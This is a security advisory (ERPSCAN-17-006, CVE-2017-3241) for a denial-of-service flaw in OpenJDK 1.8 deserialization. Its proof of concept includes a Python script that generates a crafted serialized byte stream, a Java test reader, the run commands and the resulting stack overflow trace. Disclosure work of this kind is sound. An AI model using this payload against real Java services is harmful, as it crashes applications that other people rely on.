Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov



1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL:
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle


2. VULNERABILITY INFORMATION


Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0


3. VULNERABILITY DESCRIPTION


An attacker can cause DoS of the application which uses OpenJDK Runtime
Environment 1.8 as its core runtime engine.


4. VULNERABLE PACKAGES


OpenJDK Runtime Environment build 1.8.0_112-b15


5. SOLUTIONS AND WORKAROUNDS


Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
call in switch statement

Adress Oracle CPU January 2017

 6. AUTHOR


Roman Shalymov (@shalymov)


7. TECHNICAL DESCRIPTION


An attacker can craft a malicious sequence of bytes that will cause JVM
StackOverflowError in the standard Java deserialization process if it uses
ObjectInputStream.readObject() method.



7.1. Proof of Concept



An attacker creates a malicious sequence of bytes, for example, using this
python script pwn_ser.py:



#!/usr/bin/env python2



import sys



exp = ""

#serialization header

exp += '\xac\xed\x00\x05'



exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'



exp += exp1 * 10000



sys.stdout.write(exp)



and save it in exp2.ser file



$ ./pwn_ser2.py > exp2.ser



Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:



Serialize_read.java



import java.io.FileInputStream;

import java.io.ObjectInputStream;



public class Serialize_read {



public static void main(String args[]) throws Exception {



  if(args.length < 1) {

      System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
[file]");

      System.exit(-1);

  }



  FileInputStream fin = new FileInputStream(args[0]);

  ObjectInputStream oin = new ObjectInputStream(fin);



  try {

    Object objFromDisk = oin.readObject();

    String s = (String)objFromDisk;

    System.out.println(s);

    System.out.println("Successfully read!");

  }catch(Exception e){}

  System.exit(0);



}



}



Let's try to read our malicious file (we can also simulate this stuff over
network communication):



$ javac Serialize_read.java

$ java Serialize_read exp2.ser



It causes the following error dump:



Exception in thread "main" java.lang.StackOverflowError

at
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

at
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

at
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)



...

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)



8. REPORT TIMELINE

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/


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